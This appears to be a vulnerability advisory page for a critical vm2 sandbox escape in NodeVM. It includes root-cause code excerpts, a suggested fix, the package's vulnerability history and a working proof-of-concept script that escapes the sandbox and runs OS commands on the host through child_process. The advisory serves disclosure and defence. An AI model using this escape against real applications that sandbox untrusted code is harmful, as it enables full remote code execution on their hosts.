Critical

vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE

  • Disclosed: 05.10.2026
  • Updated: 11.10.2026 10:22

Summary

NodeVM's require.external option lets sandboxed code require() local files and npm packages. When require.external is enabled and require.root is not explicitly set to a path that excludes node_modules, two defaults combine to fully defeat the sandbox:

  • require.root defaults to unrestricted — "if omitted every path is allowed."
  • require.context defaults to "host" — files loaded this way run through the real Node.js require(), not inside any vm2 sandbox.

Sandboxed code can therefore require() a relative or absolute path to vm2's own installed package (node_modules/vm2), obtain the real, unwrapped NodeVM/VM classes, construct a brand-new unrestricted nested NodeVM instance, and execute arbitrary host OS commands via child_process.

This is exploitable using vm2's own documented "Quick Examples" configuration in README.md:

js
const vm = new NodeVM({
  require: {
    external: true,
    root: './',
  },
});

root: './' reads as a safety restriction but, in any ordinary npm project layout, ./node_modules/vm2 sits inside that same directory tree — so the restriction does not exclude vm2 itself. An application built by following the README's quick-start guide is affected by default.

Affected Versions

All vm2 versions where lib/resolver-compat.js's makeResolverFromLegacyOptions predates this report — confirmed present as of the current main (post-3.11.5, including all fixes through GHSA-8hg8-63c5-gwmx / Category 25 and GHSA-cp6g-6699-wx9c / Category 24). Neither of those prior fixes covers this code path (see Root Cause).

Details / Root Cause

lib/resolver-compat.js:

js
const {
  builtin: builtinOpt,
  mock: mockOpt,
  external: externalOpt,
  root: rootPaths,
  resolve: customResolver,
  customRequire: hostRequire = defaultRequire,
  context = 'host',          // <-- defaults to 'host'
  strict = true,
  fs: fsOpt = DEFAULT_FS,
} = options;
...
if (!externalOpt) return new Resolver(fsOpt, [], builtins);
...
let checkedRootPaths;
if (rootPaths !== undefined) {
  // root is only canonicalized/validated if the embedder explicitly provided one.
  ...
}

and CustomResolver.isPathAllowed:

js
isPathAllowed(filename) {
  if (this.rootPaths === undefined) return true;   // <-- unrestricted when root is omitted
  ...
}

and CustomResolver.loadJS:

js
loadJS(vm, mod, filename) {
  if (this.pathContext(filename, 'js') !== 'host') return super.loadJS(vm, mod, filename);
  const m = this.hostRequire(filename);   // <-- real host require(), when context === 'host' (the default)
  mod.exports = vm.readonly(m);
}

CustomResolver (the resolver used whenever require.external is a bare true, i.e. not a scoped array/object) has no external-module-name allowlist at all — it gates purely on isPathAllowed, which is a no-op when root isn't set. Combined with context defaulting to 'host', any absolute or root-relative path sandboxed code names is loaded and executed via the real, unsandboxed Node.js require().

This is a distinct code path from the two already-fixed advisories that produce a similar end state:

  • Category 24 / GHSA-cp6g-6699-wx9c (require.root symlink bypass) assumes root is configured and attacks the symlink boundary via a TOCTOU between path.resolve() and the native loader's symlink-following. git log -- lib/resolver-compat.js shows its fix (realpath canonicalization) is the only history that file has — nothing from the nesting fix touches it, and the fix does nothing when root is never set in the first place, since there is no boundary to attack via symlink.
  • Category 25 / GHSA-8hg8-63c5-gwmx (nesting: true bypass) closes a different delivery mechanism entirely — the NESTING_OVERRIDE-injected vm2 builtin, gated by a constructor-time check on the nesting option. That check is never consulted by this path: an embedder with nesting: false (the default) and no dangerous require.builtin entries is still fully exposed via require.external: true alone.

An embedder who has correctly mitigated both prior advisories remains completely open through this one.

Documentation framing does not mitigate this to "expected behavior." require.external's JSDoc does carry an inline warning ("root should be set to restrict the script from requiring any module"), but it is unbolded prose stating a default, not flagged as dangerous — materially weaker than nesting: true's bolded WARNING, dedicated README section, and explicit "grants unrestricted host module access" language, all of which existed and still did not prevent nesting from being filed (twice: GHSA-8hg8-63c5-gwmx, then hardened again by GHSA-m4wx-m65x-ghrr). The literal, first-shown "Quick Examples" snippet in README.md sets root: './', which reads as an active safety choice, not an acknowledgment of "every path is allowed."

Proof of Concept

See attached poc.js. Reproduces using vm2's own documented Quick Examples config, in a normal project layout (poc.js next to a real node_modules/vm2 install) — no symlinks, no nesting, no dangerous require.builtin entries, no modification to vm2's source.

js
const path = require('path');
const { NodeVM } = require('vm2');

const vm = new NodeVM({
  require: { external: true, root: './' },   // verbatim from README "Quick Examples"
});

let vm2EntryPoint = path.relative(process.cwd(), require.resolve('vm2')).replace(/\\/g, '/');
if (!vm2EntryPoint.startsWith('.')) vm2EntryPoint = './' + vm2EntryPoint;

const result = vm.run(`
  const real = require(${JSON.stringify(vm2EntryPoint)});
  const inner = new real.NodeVM({ require: { builtin: ['child_process'], external: false } });
  module.exports = inner.run("module.exports = require('child_process').execSync('whoami').toString().trim()", 'inner.js');
`, 'untrusted-plugin.js');

console.log(result); // real host username, e.g. "Abisheik M"

Actual output on the test machine:

{ whoami: 'Abisheik M', platform: 'win32' }

Abisheik M is the real OS account executing the Node.js process — not a sandbox artifact.

Impact

Any application that follows vm2's own README "Quick Examples" pattern (or any config with require.external enabled and require.root set to a path that includes node_modules, or omitted entirely) allows sandboxed/untrusted code to:

  • Execute arbitrary OS commands via child_process (full RCE).
  • Read/write arbitrary files via fs (once inside the re-instantiated unrestricted NodeVM).
  • Fully defeat every other sandbox restriction the embedder configured on the outer NodeVM — the outer allowlist becomes irrelevant once the sandbox obtains an unrestricted inner instance.

Suggested Fix

Mirror the precedent already established for nesting (Category 25) and require.root (Category 24): fail loudly at construction time instead of silently defaulting to an unsafe combination.

In lib/resolver-compat.js's makeResolverFromLegacyOptions, when externalOpt is truthy (bare true, or an object/array not scoped to specific module names only) and rootPaths === undefined, throw a VMError at new NodeVM(...) construction time — extending the same checkedRootPaths eager-probe block that Category 24's fix already introduced for the "root is set but the fs adapter can't realpath" case, to also cover "root was never set at all." This forces embedders to make an explicit, informed choice rather than inheriting an unrestricted default, exactly mirroring how Category 25's fix forces an explicit non-default require object when nesting: true is set.

Additionally: update README.md's "Quick Examples" snippet so it no longer shows a root value that is silently vulnerable to a same-directory node_modules install (e.g. scope it below the project root, or add an explicit callout that root must exclude node_modules).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
npm package vm2 < 3.11.7 3.11.7

References

CVSS score 10/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Weakness (CWE)
CWE-913
Platform
npm
Package
vm2
Disclosed
05.10.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-j3hm-6rg5-mchv - CC BY 4.0

Vulnerability history: vm2

All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (78) in the archive
Total entries
78
First → latest
10.2021 10.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • Critical 51
  • High 14
  • Medium 12
  • Low 1

Disclosures per year

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Severity:
  1. Critical · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Critical · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Critical · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. vm2: NodeVM `require.external` without an explicit `require.root` grants unrestricted host filesystem access and full RCE this entry
    Critical · 10.0 CVE-2026-92946 < 3.11.7 3.11.7
  5. Critical · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  6. Critical · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  7. Critical · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  8. Critical · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  9. Critical · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  10. Critical · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  11. Critical · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  12. Critical · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  13. Critical · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  14. High · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  15. Critical · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  16. Critical · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Critical · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Critical · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Critical · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Critical · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Critical · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
Show more (20) Showing 40 of 65

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.